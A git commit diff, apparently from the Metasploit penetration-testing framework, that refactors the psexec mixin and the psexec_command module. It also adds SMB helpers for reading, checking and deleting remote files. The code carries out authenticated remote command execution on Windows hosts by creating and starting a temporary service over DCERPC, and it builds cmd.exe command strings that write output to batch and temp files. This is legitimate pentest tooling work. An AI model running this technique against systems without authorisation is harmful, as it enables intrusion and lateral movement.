Make psexec mixin a bit better

* Removes copy-pasted code from psexec_command module and uses the mixin
  instead

* Uses the SMB protocol to delete files rather than psexec'ing to call
  cmd.exe and del

* Replaces several instances of "rescue StandardError" with better
  exception handling so we don't accidentally swallow things like
  NoMethodError

* Moves file reading and existence checking into the Exploit::SMB mixin
bug/bundler_fix
James Lee 2013-02-19 12:33:19 -06:00
parent 49f00acc11
commit ede804e6af
3 changed files with 149 additions and 277 deletions

View File

@ -1,11 +1,14 @@
require 'msf/core'
require 'msf/core/exploit/dcerpc'
module Msf
####
# This module alows for reuse of the psexec code execution module
# This code was stolen straight out of psexec.rb.Thanks very much for all
# who contributed to that module!! Instead of uploading and runing a binary.
# Allows for reuse of the psexec code execution technique
#
# This code was stolen straight out of the psexec module. Thanks very
# much for all who contributed to that module!! Instead of uploading
# and runing a binary.
####
module Exploit::Remote::Psexec
@ -13,34 +16,42 @@ module Exploit::Remote::Psexec
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
# Retrives output from the executed command
#
# @param smbshare [String] The SMBshare to connect to. Usually C$
# @param ip [IP Address] Remote Host to Connect To
# @param file [File name] Path to the output file relative to the smbshare
# Example: '\WINDOWS\Temp\outputfile.txt'
# @return output or nil if fails
def get_output(smbshare, ip, file)
# @param host [String] Remote host to connect to, as an IP address or
# hostname
# @param file [String] Path to the output file relative to the smbshare
# Example: '\WINDOWS\Temp\outputfile.txt'
# @return [String,nil] output or nil on failure
def smb_read_file(smbshare, host, file)
begin
simple.connect("\\\\#{ip}\\#{smbshare}")
outfile = simple.open(file, 'ro')
output = outfile.read
outfile.close
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return output
rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error
print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.")
simple.connect("\\\\#{host}\\#{smbshare}")
file = simple.open(file, 'ro')
contents = file.read
file.close
simple.disconnect("\\\\#{host}\\#{smbshare}")
return contents
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.")
return nil
end
end
# This method executes a single windows command. If you want to
# retrieve the output of your command you'll have to echo it
# to a .txt file and then use the get_output method to retrieve it
# Make sure to use the cleanup_after method when you are done.
# Executes a single windows command.
#
# If you want to retrieve the output of your command you'll have to
# echo it to a .txt file and then use the {#smb_read_file} method to
# retrieve it. Make sure to remove the files manually or use
# {Exploit::FileDropper#register_files_for_cleanup} to have the
# {Exploit::FileDropper#cleanup} and
# {Exploit::FileDropper#on_new_session} handlers do it for you.
#
# @todo Figure out the actual exceptions this needs to deal with
# instead of all the ghetto "rescue ::Exception" madness
# @param command [String] Should be a valid windows command
# @return true if everything wen't well
# @return [Boolean] Whether everything went well
def psexec(command)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
@ -49,8 +60,7 @@ module Exploit::Remote::Psexec
vprint_status("#{peer} - Bound to #{handle} ...")
vprint_status("#{peer} - Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
@ -66,19 +76,19 @@ module Exploit::Remote::Psexec
svc_handle = nil
svc_status = nil
stubdata =
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
vprint_status("#{peer} - Creating the service...")
response = dcerpc.call(0x0c, stubdata)
@ -97,8 +107,7 @@ module Exploit::Remote::Psexec
end
vprint_status("#{peer} - Opening service...")
begin
stubdata =
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
svc_handle = dcerpc.last_response.stub_data[0,20]
@ -108,8 +117,7 @@ module Exploit::Remote::Psexec
return false
end
vprint_status("#{peer} - Starting the service...")
stubdata =
svc_handle + NDR.long(0) + NDR.long(0)
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
@ -119,8 +127,7 @@ module Exploit::Remote::Psexec
return false
end
vprint_status("#{peer} - Removing the service...")
stubdata =
svc_handle
stubdata = svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
@ -139,52 +146,6 @@ module Exploit::Remote::Psexec
return true
end
# This method is called by file_dropper to remove files droped
# By your module
#
# @example
# file_rm('C:\WINDOWS\Temp\output.txt')
#
# @param file [String] Full path to a file on the remote host
# @return [StandardError] only in the event of an error
def file_rm(file)
delete = "%COMSPEC% /C del #{file}"
vprint_status("#{peer} - Deleting #{file}")
psexec(delete)
end
# This method stores files in an Instance array
# The files are then deleted from the remote host once
# the cleanup_after method is called
#
# @example
# register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt")
# @param file [String] Full path to the file on the remote host
def register_file_for_cleanup(*file)
@dropped_files ||= []
@dropped_files += file
end
# This method removes any files that were dropped on the remote system
# and marked with the register_file_for_cleanup method
def cleanup_after
print_status("#{peer} - Removing files dropped by your module/exploit")
if !@dropped_files
return
end
begin
@dropped_files.delete_if do |file|
file_rm(file)
print_good("#{peer} - Deleted #{file}")
end
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanup_error
print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}")
end
end
end
end

View File

@ -18,6 +18,8 @@ module Msf
module Exploit::Remote::SMB
require 'msf/core/exploit/psexec'
include Exploit::Remote::Tcp
include Exploit::Remote::NTLM::Client
@ -90,6 +92,13 @@ module Exploit::Remote::SMB
register_autofilter_services(%W{ netbios-ssn microsoft-ds })
end
# Override {Exploit::Remote::Tcp#connect} to setup an SMB connection
# and configure evasion options
#
# Also populates {#simple}.
#
# @param (see Exploit::Remote::Tcp#connect)
# @return (see Exploit::Remote::Tcp#connect)
def connect(global=true)
disconnect() if global
@ -132,7 +141,12 @@ module Exploit::Remote::SMB
Rex::Text.to_unicode(str)
end
# This method establishes a SMB session over the default socket
# Establishes an SMB session over the default socket and connects to
# the IPC$ share.
#
# You should call {#connect} before calling this
#
# @return [void]
def smb_login
simple.login(
datastore['SMBName'],
@ -217,13 +231,55 @@ module Exploit::Remote::SMB
end
end
# Whether a remote file exists
#
# @param file [String] Path to a file to remove, relative to the
# most-recently connected share
# @raise [Rex::Proto::SMB::Exceptions::ErrorCode]
def smb_file_exist?(file)
begin
fd = simple.open(file, 'ro')
rescue XCEPT::ErrorCode => e
# If attempting to open the file results in a "*_NOT_FOUND" error,
# then we can be sure the file is not there.
#
# Copy-pasted from smb/exceptions.rb to avoid the gymnastics
# required to pull them out of a giant inverted hash
#
# 0xC0000034 => "STATUS_OBJECT_NAME_NOT_FOUND",
# 0xC000003A => "STATUS_OBJECT_PATH_NOT_FOUND",
# 0xC0000225 => "STATUS_NOT_FOUND",
error_is_not_found = [ 0xC0000034, 0xC000003A, 0xC0000225 ].include?(e.error_code)
# If the server returns some other error, then there was a
# permissions problem or some other difficulty that we can't
# really account for and hope the caller can deal with it.
raise e unless error_is_not_found
found = !error_is_not_found
else
# There was no exception, so we know the file is openable
fd.close
found = true
end
found
end
# Remove remote file
#
# @param file (see #smb_file_exist?)
# @return [void]
def smb_file_rm(file)
fd = smb_open(file, 'ro')
fd.delete
end
#
# Fingerprinting methods
#
# This method the EnumPrinters() function of the spooler service
# Calls the EnumPrinters() function of the spooler service
def smb_enumprinters(flags, name, level, blen)
stub =
NDR.long(flags) +
@ -632,10 +688,7 @@ module Exploit::Remote::SMB
fprint
end
#
# Accessors
#
# @return [Rex::Proto::SMB::SimpleClient]
attr_accessor :simple
end
@ -785,7 +838,6 @@ module Exploit::Remote::SMBServer
c.put(pkt.to_s)
end
end

View File

@ -4,12 +4,12 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Exploit::Remote::Psexec
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::DCERPC
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
@ -58,213 +58,72 @@ class Metasploit3 < Msf::Auxiliary
# This is the main controle method
def run_host(ip)
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
smbshare = datastore['SMBSHARE']
bat = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
@smbshare = datastore['SMBSHARE']
@ip = ip
#Try and authenticate with given credentials
# Try and authenticate with given credentials
if connect
begin
smb_login
rescue StandardError => autherror
rescue Rex::Proto::SMB::Exceptions::Error => autherror
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
return
end
if execute_command(ip, text, bat)
get_output(smbshare, ip, text)
if execute_command(text, bat)
get_output(text)
end
cleanup_after(smbshare, ip, text, bat)
cleanup_after(text, bat)
disconnect
end
end
# Executes specified Windows Command
def execute_command(ip, text, bat)
def execute_command(text, bat)
# Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
print_status("#{peer} - Executing the command...")
begin
#Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
print_status("#{peer} - Executing the command...")
return psexec(execute)
rescue StandardError => exec_command_error
rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
return false
end
end
# Retrive output from command
def get_output(smbshare, ip, file)
begin
print_status("#{peer} - Getting the command output...")
simple.connect("\\\\#{ip}\\#{smbshare}")
outfile = simple.open(file, 'ro')
output = outfile.read
outfile.close
simple.disconnect("\\\\#{ip}\\#{smbshare}")
if output.empty?
print_status("#{peer} - Command finished with no output")
return
end
print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}")
return
rescue StandardError => output_error
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
def get_output(file)
print_status("#{peer} - Getting the command output...")
output = smb_read_file(@smbshare, @ip, file)
if output.nil?
print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.")
return
end
if output.empty?
print_status("#{peer} - Command finished with no output")
return
end
print_good("#{peer} - Command completed successfuly! Output:")
print_line("#{output}")
end
# This is the cleanup method, removes .txt and .bat file/s created during execution-
def cleanup_after(smbshare, ip, text, bat)
begin
# Try and do cleanup command
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
print_status("#{peer} - Executing cleanup...")
psexec(cleanup)
if !check_cleanup(smbshare, ip, text)
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.")
else
print_status("#{peer} - Cleanup was successful")
# Removes files created during execution.
def cleanup_after(*files)
simple.connect("\\\\#{@ip}\\#{@smbshare}")
print_status("#{peer} - Executing cleanup...")
files.each do |file|
begin
smb_file_rm(file)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
end
rescue StandardError => cleanuperror
print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}")
print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target")
return cleanuperror
end
end
def check_cleanup(smbshare, ip, text)
simple.connect("\\\\#{ip}\\#{smbshare}")
begin
if checktext = simple.open(text, 'ro')
check = false
else
check = true
end
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return check
rescue StandardError => check_error
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return true
left = files.collect{ |f| smb_file_exist?(f) }
if left.any?
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
else
print_status("#{peer} - Cleanup was successful")
end
end
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
# Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
def psexec(command)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("#{peer} - Bound to #{handle} ...")
vprint_status("#{peer} - Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
holdhandle = scm_handle
svc_handle = nil
svc_status = nil
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
vprint_status("#{peer} - Creating the service...")
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
vprint_status("#{peer} - Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
vprint_status("#{peer} - Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
vprint_status("#{peer} - Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
end
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
end
select(nil, nil, nil, 1.0)
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
return true
end
end